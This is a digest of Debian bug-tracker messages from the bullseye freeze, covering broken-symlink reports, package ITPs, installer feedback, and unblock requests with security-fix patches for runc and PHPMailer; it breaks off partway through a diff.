If pre-distupgrade DB dumps are expected, I feel like that should be
communicated somewhere where it cannot be missed.

Regards,
Dennis.

Bug#988808: liblomiri-upload-manager-common-dev: broken symlink: /usr/lib/x86_64-linux-gnu/liblomiri-upload-manager-common.so -> liblomiri-upload-manager-common.so.0

[Andreas Beckmann]

Package: liblomiri-upload-manager-common-dev
Version: 0.1.0-7
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

1m7.1s ERROR: FAIL: Broken symlinks:
  /usr/lib/x86_64-linux-gnu/liblomiri-upload-manager-common.so -> 
liblomiri-upload-manager-common.so.0 (liblomiri-upload-manager-common-dev)

The package should probably depend on liblomiri-upload-manager-common0
^^
instead of liblomiri-download-manager-common0.
 

cheers,

Andreas


liblomiri-upload-manager-common-dev_0.1.0-7.log.gz
Description: application/gzip

Bug#988188: Ignoring but #987904 for Bullseye: horizon plugin packaging design mistake

[Sebastian Ramacher]

Control: tags -1 moreinfo

On 2021-05-07 10:56:51 +0200, Thomas Goirand wrote:
> Package: release.debian.org
> Severity: normal
> 
> Hi,
> 
> I need to discuss with the release team what to do in order to address
> this bug: https://bugs.debian.org/987904
> 
> What happens is that each Horizon plugin is installing a bunch of python
> files under /etc/openstack-dashboard/enable.
> 
> When an Horizon plugin is removed, as the enable folder is in /etc, the
> enable files of the plugins aren't removed. As a consequence, whenever
> Horizon attemps to list its plugins (for example, when it tries to do a
> "collect static" operation, which is kind of compiling all the JS files
> into a single one, each time a plugin is added/removed or when Horizon
> upgrades), it just fails, because the files in the enable folder are
> referencing Python modules that do not exist anymore (since the plugin
> package has been removed).
> 
> The solution to fix this is strait forward: replace our symlink in
> /usr/lib/python3/dist-packages/openstack_dashboard/enable by a folder,
> and push the enable files in there instead of /etc. This way, the plugins
> removal will also remove the enable files.
> 
> The problem is that there are 20 Horizon plugins in Debian, and at this
> point in the release cycle, it doesn't feel like it is a good time to
> update 20 packages.

Maybe I am missing some of the context, but it appears to me that in
if the case the plugin package was removed but not purged, a
ModuleNotFoundError is raised. So, wouldn't it be sufficient for horizon
to ignore those plugins that raise a ModuleNotFoundError?

Cheers

> 
> So in my point of view, what we can do now is:
> - tag #987904 as bullseye-ignore
> - add a warning in the release notes that Horizon plugins should never
> be just removed, but should be *purged*, to avoid the problem
> 
> In the mean while, I'll fix the Horizon packaging in Experimental, and
> see how it goes.
> 
> Dear release team, please let share your view on this bug.
> I remain available if you need more explanations.
> 
> Cheers,
> 
> Thomas Goirand (zigo)
> 

-- 
Sebastian Ramacher


signature.asc
Description: PGP signature

Bug#988807: cloudkitty-doc: broken symlinks: /usr/share/doc/cloudkitty-doc/html/_static/* -> ../../../../python-os-api-ref/*

[Andreas Beckmann]

Package: cloudkitty-doc
Version: 13.0.0-5
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m48.1s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/cloudkitty-doc/html/_static/api-site.css -> 
../../../../python-os-api-ref/api-site.css (cloudkitty-doc)
  /usr/share/doc/cloudkitty-doc/html/_static/api-site.js -> 
../../../../python-os-api-ref/api-site.js (cloudkitty-doc)
  /usr/share/doc/cloudkitty-doc/html/_static/combobox.js -> 
../../../../python-os-api-ref/combobox.js (cloudkitty-doc)

Is cloudkitty-doc missing a dependency on python-os-api-ref-common ?


cheers,

Andreas


cloudkitty-doc_13.0.0-5.log.gz
Description: application/gzip

Bug#988805: coop-computing-tools-doc: broken documentation symlinks

[Andreas Beckmann]

Package: coop-computing-tools-doc
Version: 7.1.2-5
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m47.8s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/coop-computing-tools-doc/manual -> 
../coop-computing-tools/manual (coop-computing-tools-doc)
  /usr/share/doc/coop-computing-tools/manuals/confuga/example.makeflow -> 
../../../makeflow/example/example.makeflow (coop-computing-tools-doc)
  /usr/share/doc/coop-computing-tools/manuals/man_pages -> ../man/md 
(coop-computing-tools-doc)
  /usr/share/doc/coop-computing-tools/manuals/prune/examples -> 
../../../prune/examples (coop-computing-tools-doc)
  
/usr/share/doc/coop-computing-tools/manuals/work_queue/examples/work_queue_example.c
 -> ../../../../work_queue/src/work_queue_example.c (coop-computing-tools-doc)
  
/usr/share/doc/coop-computing-tools/manuals/work_queue/examples/work_queue_example.pl
 -> ../../../../work_queue/src/bindings/perl/work_queue_example.pl 
(coop-computing-tools-doc)
  
/usr/share/doc/coop-computing-tools/manuals/work_queue/examples/work_queue_example.py
 -> ../../../../work_queue/src/bindings/python3/work_queue_example.py 
(coop-computing-tools-doc)

I think the correct targets might be

  /usr/share/doc/coop-computing-tools-doc/manual -> 
../coop-computing-tools/manual (coop-computing-tools-doc)
../coop-computing-tools/manuals

  /usr/share/doc/coop-computing-tools/manuals/confuga/example.makeflow -> 
../../../makeflow/example/example.makeflow (coop-computing-tools-doc)
  /usr/share/doc/coop-computing-tools/manuals/man_pages -> ../man/md 
(coop-computing-tools-doc)
  /usr/share/doc/coop-computing-tools/manuals/prune/examples -> 
../../../prune/examples (coop-computing-tools-doc)
???

  
/usr/share/doc/coop-computing-tools/manuals/work_queue/examples/work_queue_example.c
 -> ../../../../work_queue/src/work_queue_example.c (coop-computing-tools-doc)
  
/usr/share/doc/coop-computing-tools/manuals/work_queue/examples/work_queue_example.pl
 -> ../../../../work_queue/src/bindings/perl/work_queue_example.pl 
(coop-computing-tools-doc)
  
/usr/share/doc/coop-computing-tools/manuals/work_queue/examples/work_queue_example.py
 -> ../../../../work_queue/src/bindings/python3/work_queue_example.py 
(coop-computing-tools-doc)
/usr/share/doc/coop-computing-tools/work_queue_example.c.gz
/usr/share/doc/coop-computing-tools/work_queue_example.pl
/usr/share/doc/coop-computing-tools/work_queue_example.py



cheers,

Andreas


coop-computing-tools-doc_7.1.2-5.log.gz
Description: application/gzip

Bug#988806: ITP: python-serializable -- base class with serialization methods

[Steffen Möller]

Package: wnpp
Severity: wishlist
X-Debbugs-Cc: moel...@debian.org

Subject: ITP: python-serializable -- base class with serialization methods
Package: wnpp
Owner: Steffen Moeller 
Severity: wishlist

* Package name    : python-serializable
  Version : 0.2.1
  Upstream Author : . Mount Sinai School of Medicine
* URL : https://github.com/iskandr/serializable
* License : Apache-2.0
  Programming Lang: Python
  Description : base class with serialization methods
 "Serialisation" refers to the transformation of objects into
 a bitstream and back into the original structure. The idea
 expressed by this class has a direct analogy to Java:
 A method is declared thattransform the object into, e.g., a
 JSON formatted file. Another method knows how to reinstantiate
 the object from that output.

Remark: This package is maintained by Steffen Moeller at
   https://salsa.debian.org/python-team/packages/python-serializable

Bug#988620: Acknowledgement (unblock: kodi-pvr-mediaportal-tvserver/8.1.2+ds1-1)

[Sebastian Ramacher]

Control: tags -1 confirmed

On 2021-05-18 08:46:09 +, Vasyl Gello wrote:
> This release drops p8-platform dependency (code cleanup) and fixes OOB read 
> in MultiByteToWideChar.

The first part was done via patch before that. Please go ahead and
remove the moreinfo tag once the new version is available in unstable.

Cheers

> -- 
> Vasyl Gello
> ==
> Certified SolidWorks Expert
> 
> Mob.:+380 (98) 465 66 77
> 
> E-Mail: vasek.ge...@gmail.com
> 
> Skype: vasek.gello
> ==
> 호랑이는 죽어서 가죽을 남기고 사람은 죽어서 이름을 남긴다

-- 
Sebastian Ramacher


signature.asc
Description: PGP signature

Bug#988622: Acknowledgement (unblock: kodi-pvr-vuplus/7.4.3+ds1-1)

[Sebastian Ramacher]

Control: tags -1 confirmed

On 2021-05-18 08:51:37 +, Vasyl Gello wrote:
> This is mostly a code cleanup release fixing memory leaks viewing some still 
> images.

Please go ahead and remove the moreinfo tag once the new version is
available in unstable.

Cheers

> -- 
> Vasyl Gello
> ==
> Certified SolidWorks Expert
> 
> Mob.:+380 (98) 465 66 77
> 
> E-Mail: vasek.ge...@gmail.com
> 
> Skype: vasek.gello
> ==
> 호랑이는 죽어서 가죽을 남기고 사람은 죽어서 이름을 남긴다

-- 
Sebastian Ramacher


signature.asc
Description: PGP signature

Bug#988536: closed by Sebastian Ramacher (unblock thunar)

[Yves-Alexis Perez]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

On Wed, 2021-05-19 at 18:57 +, Debian Bug Tracking System wrote:
> Unblocked.

Thanks!
- -- 
Yves-Alexis
-BEGIN PGP SIGNATURE-

iQEzBAEBCAAdFiEE8vi34Qgfo83x35gF3rYcyPpXRFsFAmClX9UACgkQ3rYcyPpX
RFtwcggAr2F53H/wxFr0Ing3gWYM0re6iUwAPbJ+qsj4i4SDBFfIPUYPHlwdcrfV
c6c3tcjwRa54mLwqsDvFcbj6gUTZjgwBQ4I5y9gy23rAve0UFtRG+sasenjeE2Sc
h0QWP/wnIMA6YT6DMEgNaOWf2rfQpSTnQF+yitQlc+kK382pRN558JcaooOX/zp9
P/VasVkNvCfe9oNMKTABPySNszj5ks+feZ/A+me1rLz6dSFcKrgSywJu2z5ytsvy
R+BcGPuIAUDdRFLEMV/Ga1hfT5T7LCZ9g4KU11ks5Zuq+wJbh3vgV22ygjdvhUO/
RVvPeQQsGl9cuUrubDPB+s0CGBe4dA==
=hg0v
-END PGP SIGNATURE-

Bug#988802: unblock: runc/1.0.0~rc93+ds1-4

[Shengjing Zhu]

On Thu, May 20, 2021 at 2:33 AM Shengjing Zhu  wrote:
>
> Package: release.debian.org
> Severity: normal
> User: release.debian@packages.debian.org
> Usertags: unblock
> X-Debbugs-Cc: z...@debian.org
>
> Please unblock package runc
>
> [ Reason ]
> Fix CVE-2021-30465
> https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r
>
> [ Impact ]
> The package can migrate itself(have autopkgtest and not key package),
> but I'd like to reduce the age.
>
> [ Tests ]
> I have done some basic tests. But I'm not sure how to trigger the security
> issue that I can't verify if it's really fixed.
>
> [ Risks ]
> The patch provided by upstream can't be applied clearly to the version we have
> in sid. So I look the changes and backport another two PR, which makes the 
> diff
> a bit large.
>

After I have uploaded -4, then I find upstream has provided a patchset
for runc/1.0.0~rc93, but only on oss-security list,
https://www.openwall.com/lists/oss-security/2021/05/19/2

So the patches I made in -4 are replaced by upstream one.

$ cat debian/patches/CVE-2021-30465/*|diffstat
b/libcontainer/container_linux.go  |7 +--
b/libcontainer/init_linux.go   |1
b/libcontainer/rootfs_linux.go |   42 +++---
b/libcontainer/specconv/example.go |   18 +++
b/libcontainer/utils/utils.go  |   54 +++
b/libcontainer/utils/utils_test.go |   35 +++
libcontainer/container_linux.go|4 +
libcontainer/rootfs_linux.go   |  289
++--
8 files changed, 283 insertions(+), 167 deletions(-)

The changes are almost the same with -4.

Please unblock runc/1.0.0~rc93+ds1-5

Bug#987504: imagemagick: attempt to perform an operation not allowed by the security policy `EPS'

[Paul Gevers]

Hi,

First off, thanks Adrian for raising the concern. In general, at this
stage we don't like packages breaking other packages.

On 28-04-2021 13:19, Adrian Bunk wrote:
>> No time for a more lenghty reply to this right now, but our point was
>> exactly to bring the same patch (already applied in the last DSA) as
>> well in bullseye's version as this was missing and discussed back then
>> and recently with the maintainer as well.
>>
>> If this is not the case yet, are bugs filled against those packages
>> you found to be failing to build now due to this change in stable and
>> unstable?
> 
> my question was exactly how to move forward here.

If I understand correctly, not having this patch in bullseye can be
considered a security regression.

> If everyone (including the release team) agrees that the imagemagick 
> change should stay and RC bugs be filed, I can do the bug filing.

I don't speak on behalf of the stable release managers, but I estimate
that they'll take fixes in stable for this issue too. So, if these bugs
aren't filed already (I would expect they may already be found and filed
because of rebuild campaigns or reproducible build failures), let's have
them filed (and fixed obviously). If they could be marked as blocking
this bug that would be great, such that we can judge what the progress
is to see when we want to let imagemagick into bullseye.

Paul



OpenPGP_signature
Description: OpenPGP digital signature

Bug#988804: prometheus: CVE-2021-29622

[Salvatore Bonaccorso]

Source: prometheus
Version: 2.24.1+ds-1
Severity: grave
Tags: security upstream
Justification: user security hole
X-Debbugs-Cc: car...@debian.org, Debian Security Team 

Hi,

The following vulnerability was published for prometheus.

CVE-2021-29622[0]:
| Open Redirect under the /new endpoint 

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2021-29622
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29622
[1] 
https://github.com/prometheus/prometheus/security/advisories/GHSA-vx57-7f4q-fpc7

Please adjust the affected versions in the BTS as needed.

Regards,
Salvatore

Bug#988578: unblock: dmidecode/3.3-2

[Sebastian Ramacher]

Control: tags -1 moreinfo confirmed

On 2021-05-17 19:04:20 +0200, Jörg Frings-Fürst wrote:
> Control: tags 988578 - moreinfo
> thanks
> 
> 
> Hello Sebastian,
> 
> thanks for your review. I have revert the remove of unused patches.

Again, please remove the moreinfo tag once the new version is available
in unstable.

Cheers

> 
> The new debdiff is attached.
> 
> CU
> Jörg
> 
> -- 
> New:
> GPG Fingerprint: 63E0 075F C8D4 3ABB 35AB  30EE 09F8 9F3C 8CA1 D25D
> GPG key (long) : 09F89F3C8CA1D25D
> GPG Key: 8CA1D25D
> CAcert Key S/N : 0E:D4:56
> 
> Old pgp Key: BE581B6E (revoked since 2014-12-31).
> 
> Jörg Frings-Fürst
> D-54470 Lieser
> 
> 
> git:  https://jff.email/cgit/
> 
> Threema: SYR8SJXB
> Wire: @joergfringsfuerst
> Skype: joergpenguin
> Ring: jff
> Telegram: @joergfringsfuerst
> 
> 
> My wish list: 
>  - Please send me a picture from the nature at your home.
> 
> 
> Am Sonntag, dem 16.05.2021 um 14:56 +0200 schrieb Sebastian Ramacher:
> > Control: tags -1 moreinfo
> > 
> > On 2021-05-16 10:01:26, Jörg Frings-Fürst wrote:
> > > Package: release.debian.org
> > > Severity: normal
> > > User: release.debian@packages.debian.org
> > > Usertags: unblock
> > > X-Debbugs-Cc: Adrian Bunk 
> > > 
> > > Please unblock package dmidecode
> > > 
> > > [ Reason ]
> > > This release fixes the bug that causes a segmentation fault (Debian
> > > Bug
> > > #987033).
> > > 
> > > [ Impact ]
> > > Dmidecode terminates with a segmentation fault when certain
> > > parameters are
> > > used.
> > > 
> > > [ Tests ]
> > > Before the fix dmidecode -u fails.
> > > After the fix, dmidecode -u runs as expected.
> > > 
> > > [ Risks ]
> > > The changes aree trival.
> > > 
> > > [ Checklist ]
> > >   [X] all changes are documented in the d/changelog
> > >   [X] I reviewed all changes and I approve them
> > >   [X] attach debdiff against the package in testing
> > > 
> > > [ Other info ]
> > > I ask about the unblock after a hint from Adrian Bunk.
> > > 
> > > 
> > > unblock dmidecode/3.3-2
> > 
> > > diff -Nru dmidecode-3.3/debian/changelog dmidecode-
> > > 3.3/debian/changelog
> > > --- dmidecode-3.3/debian/changelog  2020-10-17
> > > 10:31:23.0 +0200
> > > +++ dmidecode-3.3/debian/changelog  2021-05-07
> > > 09:13:05.0 +0200
> > > @@ -1,3 +1,15 @@
> > > +dmidecode (3.3-2) unstable; urgency=medium
> > > +
> > > +  * Add upstream recommended patches (Closes: #987033):
> > > +    - New debian/patches/0145-
> > > Fix_condition_error_in_ascii_filter.patch.
> > > +    - New debian/patches/0150-Fix_crash.patch.
> > > +  * Declare compliance with Debian Policy 4.5.1 (No changes
> > > needed).
> > > +  * debian/copyright:
> > > +    - Add year 2021 to myself.
> > > +  * Remove longer not used patches.
> > 
> > I'd prefer an upload without the additional noise.
> > 
> > Please remove the moreinfo tag once the new version is available in
> > unstable.
> > 
> > Cheers
> > 
> [...]
> 
> 

> diff -Nru dmidecode-3.3/debian/changelog dmidecode-3.3/debian/changelog
> --- dmidecode-3.3/debian/changelog2020-10-17 10:31:23.0 +0200
> +++ dmidecode-3.3/debian/changelog2021-05-17 18:53:43.0 +0200
> @@ -1,3 +1,14 @@
> +dmidecode (3.3-2) unstable; urgency=medium
> +
> +  * Add upstream recommended patches (Closes: #987033):
> +- New debian/patches/0145-Fix_condition_error_in_ascii_filter.patch.
> +- New debian/patches/0150-Fix_crash.patch.
> +  * Declare compliance with Debian Policy 4.5.1 (No changes needed).
> +  * debian/copyright:
> +- Add year 2021 to myself.
> +
> + -- Jörg Frings-Fürst   Mon, 17 May 2021 18:53:43 +0200
> +
>  dmidecode (3.3-1) unstable; urgency=medium
>  
>* New upstream release.
> diff -Nru dmidecode-3.3/debian/control dmidecode-3.3/debian/control
> --- dmidecode-3.3/debian/control  2020-10-17 09:58:18.0 +0200
> +++ dmidecode-3.3/debian/control  2021-05-07 08:54:34.0 +0200
> @@ -3,7 +3,7 @@
>  Priority: optional
>  Maintainer: Jörg Frings-Fürst 
>  Build-Depends: debhelper-compat (= 13)
> -Standards-Version: 4.5.0
> +Standards-Version: 4.5.1
>  Rules-Requires-Root: no
>  Vcs-Git: git://jff.email/opt/git/dmidecode.git
>  Vcs-Browser: https://jff.email/cgit/dmidecode.git/
> diff -Nru dmidecode-3.3/debian/copyright dmidecode-3.3/debian/copyright
> --- dmidecode-3.3/debian/copyright2020-10-17 10:14:51.0 +0200
> +++ dmidecode-3.3/debian/copyright2021-05-07 08:56:16.0 +0200
> @@ -13,7 +13,7 @@
>  Files: debian/*
>  Copyright: 2003-2007 Petter Reinholdtsen 
> 2011-2012 Daniel Baumann 
> 
> -   2014-2020 Jörg Frings-Fürst 
> +   2014-2021 Jörg Frings-Fürst 
>  License: GPL-2+
>  
>  License: GPL-2+
> diff -Nru 
> dmidecode-3.3/debian/patches/0145-Fix_condition_error_in_ascii_filter.patch 
> dmidecode-3.3/debian/patches/0145-Fix_condition_error_in_ascii_filter.patch
> --- 
> dmidecode-3.3/debian/patches/0145-Fix_condition_error_in_ascii_filter.patch   
> 1970-01-01 

Bug#988802: unblock: runc/1.0.0~rc93+ds1-4

[Shengjing Zhu]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: unblock
X-Debbugs-Cc: z...@debian.org

Please unblock package runc

[ Reason ]
Fix CVE-2021-30465
https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r

[ Impact ]
The package can migrate itself(have autopkgtest and not key package),
but I'd like to reduce the age.

[ Tests ]
I have done some basic tests. But I'm not sure how to trigger the security
issue that I can't verify if it's really fixed.

[ Risks ]
The patch provided by upstream can't be applied clearly to the version we have
in sid. So I look the changes and backport another two PR, which makes the diff
a bit large.

[ Checklist ]
  [x] all changes are documented in the d/changelog
  [x] I reviewed all changes and I approve them
  [*] attach debdiff against the package in testing
  Since only patches are added in debian/patches dir, I just attached the 3
  new patches.

[ Other info ]

unblock runc/1.0.0~rc93+ds1-4


debian/changelog:

 runc (1.0.0~rc93+ds1-4) unstable; urgency=high
 .
   * Team upload.
   * Backport patches for CVE-2021-30465 (Closes: #988768)
 To apply CVE-2021-30465 patch clearly, following PR are backported as
 well:
 + https://github.com/opencontainers/runc/pull/2798
 + https://github.com/opencontainers/runc/pull/2818

$ cat debian/patches/00{11,12,13}*|filterdiff -x '*.bats' -x '*_test.go' 
|diffstat

 b/libcontainer/container_linux.go  |   10 +
 b/libcontainer/init_linux.go   |1
 b/libcontainer/rootfs_linux.go |   64 ++---
 b/libcontainer/specconv/example.go |   18 +-
 b/libcontainer/utils/utils.go  |   54 +++
 libcontainer/container_linux.go|   52 ++-
 libcontainer/rootfs_linux.go   |  251 ++---
 7 files changed, 283 insertions(+), 167 deletions(-)

$ cat debian/patches/00{11,12,13}*|filterdiff -x '*.bats' -x '*_test.go'

From: Kir Kolyshkin 
Date: Tue, 23 Feb 2021 17:58:07 -0800
Subject: PR2818 Fix cgroup2 mount for rootless case

Backport this PR so we can apply the patch for CVE-2021-30465

1. libct/newInitConfig: nit
2. libct/rootfs: introduce and use mountConfig
3 .libct/rootfs/mountCgroupV2: minor refactor
4. Fix cgroup2 mount for rootless case
5. tests/int: use bfq test with rootless
6. tests/int: add a case for cgroupv2 mount

Origin: backport, https://github.com/opencontainers/runc/pull/2818
---
 libcontainer/container_linux.go  | 10 +--
 libcontainer/init_linux.go   |  1 +
 libcontainer/rootfs_linux.go | 64 
 libcontainer/specconv/example.go | 18 +--
 tests/integration/cgroups.bats   | 34 +
 5 files changed, 96 insertions(+), 31 deletions(-)

diff --git a/libcontainer/container_linux.go b/libcontainer/container_linux.go
index 3dca29e..1cbc734 100644
--- a/libcontainer/container_linux.go
+++ b/libcontainer/container_linux.go
@@ -594,6 +594,9 @@ func (c *linuxContainer) newInitConfig(process *Process) 
*initConfig {
AppArmorProfile:  c.config.AppArmorProfile,
ProcessLabel: c.config.ProcessLabel,
Rlimits:  c.config.Rlimits,
+   CreateConsole:process.ConsoleSocket != nil,
+   ConsoleWidth: process.ConsoleWidth,
+   ConsoleHeight:process.ConsoleHeight,
}
if process.NoNewPrivileges != nil {
cfg.NoNewPrivileges = *process.NoNewPrivileges
@@ -607,9 +610,10 @@ func (c *linuxContainer) newInitConfig(process *Process) 
*initConfig {
if len(process.Rlimits) > 0 {
cfg.Rlimits = process.Rlimits
}
-   cfg.CreateConsole = process.ConsoleSocket != nil
-   cfg.ConsoleWidth = process.ConsoleWidth
-   cfg.ConsoleHeight = process.ConsoleHeight
+   if cgroups.IsCgroup2UnifiedMode() {
+   cfg.Cgroup2Path = c.cgroupManager.Path("")
+   }
+
return cfg
 }
 
diff --git a/libcontainer/init_linux.go b/libcontainer/init_linux.go
index c57af0e..6817970 100644
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -70,6 +70,7 @@ type initConfig struct {
RootlessEUID bool  `json:"rootless_euid,omitempty"`
RootlessCgroups  bool  
`json:"rootless_cgroups,omitempty"`
SpecState*specs.State  `json:"spec_state,omitempty"`
+   Cgroup2Path  string`json:"cgroup2_path,omitempty"`
 }
 
 type initer interface {
diff --git a/libcontainer/rootfs_linux.go b/libcontainer/rootfs_linux.go
index 411496a..5d2d74c 100644
--- a/libcontainer/rootfs_linux.go
+++ b/libcontainer/rootfs_linux.go
@@ -17,6 +17,7 @@ import (
"github.com/moby/sys/mountinfo"
"github.com/mrunalp/fileutils"
"github.com/opencontainers/runc/libcontainer/cgroups"
+   "github.com/opencontainers/runc/libcontainer/cgroups/fs2"

Bug#987441: bug in Debian 11 RC Installer

[Cyril Brulebois]

Hi Luna,

Luna Jernberg  (2021-05-03):
> Yeah, did not think about changing it to English, but yeah looks like
> it can be that, works in the text mode installer however

Yes, this is a rendering bug that only affects the graphical version of
the installer.

While I couldn't confirm your exact bug, I've encountered another,
similar one earlier in the installation process with Swedish. I've also
used that test case to check the proposed fixes seem to work fine:
  https://salsa.debian.org/gnome-team/gtk2/-/merge_requests/2
  https://salsa.debian.org/installer-team/cdebconf/-/merge_requests/6

It's really not specific to Swedish, and can affect any language,
depending on the actual text getting rendered.

This should be fixed in the next Release Candidate (D-I Bullseye RC 2),
a few days or weeks from now.

Thanks again for your report, that's appreciated.


Cheers,
-- 
Cyril Brulebois (k...@debian.org)
D-I release manager -- Release team member -- Freelance Consultant


signature.asc
Description: PGP signature

Bug#987441: s390x installation bugs

[Cyril Brulebois]

Cyril Brulebois  (2021-05-04):
> Valentin Vidic  (2021-05-03):
> > Thanks, here is another one for s390x, should be relatively simple if
> > you wish to link it here:
> > 
> > linux: Debian installation fails in qemu-system-s390x due to missing 
> > virtio_blk module
> > https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=988005
> 
> Thanks, but I think I'll just keep your message as a link to it: we
> don't have to do anything on the installer's side except make sure it's
> considered in a further upload of src:linux (be it for 11.0 or 11.1). :)

Following up on that, the merge happened in the sid branch:

kibi@tokyo:~/debian-kernel/linux.git$ git describe 
fb657acabf6aa129889d53c85ccae246a99007b4
debian/5.10.28-1-36-gfb657acabf6a

and we should have that in the next linux upload, which should land in
bullseye before the release.


Cheers,
-- 
Cyril Brulebois (k...@debian.org)
D-I release manager -- Release team member -- Freelance Consultant


signature.asc
Description: PGP signature

Bug#988801: ITP: python-gtfparse -- parser for gene transfer format (aka GFF2)

[Steffen Möller]

Package: wnpp
Severity: wishlist
X-Debbugs-Cc: moel...@debian.org

Subject: ITP: python-gtfparse -- parser for gene transfer format (aka GFF2)
Package: wnpp
Owner:  Steffen 
Severity: wishlist

* Package name    : python-gtfparse
  Version : 1.2.1
  Upstream Author : Copyright:  
* URL : https://github.com/openvax/gtfparse
* License : Apache-2.0
  Programming Lang: Python
  Description : parser for gene transfer format (aka GFF2)
 You find a gene in the genome? Or a feature about it?
 The gene transfer format (GTF, identical to GFF2)
 allows your program or your database to exchange
 this information so it can be presented with genome
 browsers or used e.g. as a selection for other features
 like nucleotide variants.
 .
 This package provides a parser for GTF/GFF2 files, i.e.
 sets of routines that read that file and support the
 computational interpretation of these data.

Remark: This package is maintained by steffen at
   https://salsa.debian.org/med-team/python-gtfparse

Bug#988797: RC1 installation report

[Cyril Brulebois]

Goedendag Paul,

and thanks for your report.

Paul van der Vlis  (2021-05-19):
> I did install Debian on an Acer laptop. The installation went OK, but
> I have some things to tell:
> 
> 1. After the installation the 240GB SSD was after a short period full
> with PCIe AER errors in the logs.  I think it's good to tell about
> errors in the logs, but doing that thousands of times is not OK.
> After using "PCI=NOAER" the laptop works fine.

Looks like something that might be worth reporting against src:linux?

> 2. After the installation the sources.list had a "deb cdrom" line.
> Important to tell that I've used the official DVD ISO image. This
> problem was there too in Debian 10. I will add the sources.list.  I
> think most people who use a DVD-iso will use internet to install more
> packages, and will remove the DVD or stick. I sell Debian DVD's.

I think deactivating cdrom entries was implemented several release
cycles ago. That should be the case for both buster and bullseye at the
minimum (if memory serves).

Please share your /var/log/installer/syslog (compressed, due to bugs.d.o
and/or lists.d.o size limits) so that we can check what happens there?


Cheers,
-- 
Cyril Brulebois (k...@debian.org)
D-I release manager -- Release team member -- Freelance Consultant


signature.asc
Description: PGP signature

Bug#988790: also librdf-rdfa-parser-perl

[Niko Tyni]

clone 988790 -1
reassign -1 librdf-rdfa-parser-perl 1.097-1
retitle -1 librdf-rdfa-parser-perl: FTBFS: Undefined subroutine 
::Util::set_prototype called
thanks

On Wed, May 19, 2021 at 05:51:36PM +0100, Niko Tyni wrote:
> Source: libhttp-lrdd-perl
> Version: 0.106-2
> Severity: serious
> Tags: ftbfs
> 
> This package fails to build from source on current sid.
> 
>   #   Failed test 'use HTTP::LRDD;'
>   #   at t/01basic.t line 19.
>   # Tried to use 'HTTP::LRDD'.
>   # Error:  Undefined subroutine ::Util::set_prototype called at 
> /usr/share/perl5/Types/TypeTiny.pm line 360.
> 
> Full logs available at 
> https://tests.reproducible-builds.org/debian/libhttp-lrdd-perl
> 
> According to the test history there, this regressed between 2020-10-29 and 
> 2020-11-03,
> probably with libtype-tiny-perl 1.012000-1.
> 
> #975208 looks similar and indicates this is probably an issue with an
> outdated Scalar::Util in inc/ . I don't know why libhttp-lrdd-perl wasn't
> spotted back then, but better late than never I guess.

Similarly for librdf-rdfa-parser-perl, see
  https://tests.reproducible-builds.org/debian/librdf-rdfa-parser-perl

-- 
Niko

Bug#988799: unblock: libphp-phpmailer/6.2.0-2

[Paul Gevers]

Package: release.debian.org
User: release.debian@packages.debian.org
Usertags: unblock
Severity: normal

Please unblock package libphp-phpmailer

[ Reason ]
To fix a CVE (regression). PHPMailer 6.2.0 allows object injection
through Phar Deserialization via addAttachment with a UNC pathname.

[ Impact ]
To be honest, I don't know exactly, but the security team marked the bug
as grave.

[ Tests ]
None.

[ Risks ]
The patches are small and easy to review.

unblock libphp-phpmailer/6.2.0-2

Paul
diff -Nru libphp-phpmailer-6.2.0/debian/changelog 
libphp-phpmailer-6.2.0/debian/changelog
--- libphp-phpmailer-6.2.0/debian/changelog 2021-01-06 20:59:29.0 
+0100
+++ libphp-phpmailer-6.2.0/debian/changelog 2021-05-18 21:29:05.0 
+0200
@@ -1,3 +1,9 @@
+libphp-phpmailer (6.2.0-2) unstable; urgency=medium
+
+  * Add upstream patches to fix CVE-2020-36326 (Closes: #988732)
+
+ -- Paul Gevers   Tue, 18 May 2021 21:29:05 +0200
+
 libphp-phpmailer (6.2.0-1) unstable; urgency=medium
 
   * New upstream release
diff -Nru 
libphp-phpmailer-6.2.0/debian/patches/0001-Match-all-RFC3986-scheme-patterns.patch
 
libphp-phpmailer-6.2.0/debian/patches/0001-Match-all-RFC3986-scheme-patterns.patch
--- 
libphp-phpmailer-6.2.0/debian/patches/0001-Match-all-RFC3986-scheme-patterns.patch
  1970-01-01 01:00:00.0 +0100
+++ 
libphp-phpmailer-6.2.0/debian/patches/0001-Match-all-RFC3986-scheme-patterns.patch
  2021-05-18 21:29:05.0 +0200
@@ -0,0 +1,26 @@
+From 7f267fb4aadfcf62e3ddc50494c469c6b9c4405a Mon Sep 17 00:00:00 2001
+From: Marcus Bointon 
+Date: Thu, 29 Apr 2021 10:50:09 +0200
+Subject: [PATCH] Match all RFC3986 scheme patterns
+
+---
+ src/PHPMailer.php | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/src/PHPMailer.php b/src/PHPMailer.php
+index 7081ed7..7c35f4a 100644
+--- a/src/PHPMailer.php
 b/src/PHPMailer.php
+@@ -1811,7 +1811,8 @@ class PHPMailer
+  */
+ protected static function isPermittedPath($path)
+ {
+-return !preg_match('#^[a-z]+://#i', $path);
++//Matches scheme definition from 
https://tools.ietf.org/html/rfc3986#section-3.1
++return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path);
+ }
+ 
+ /**
+-- 
+2.30.2
+
diff -Nru 
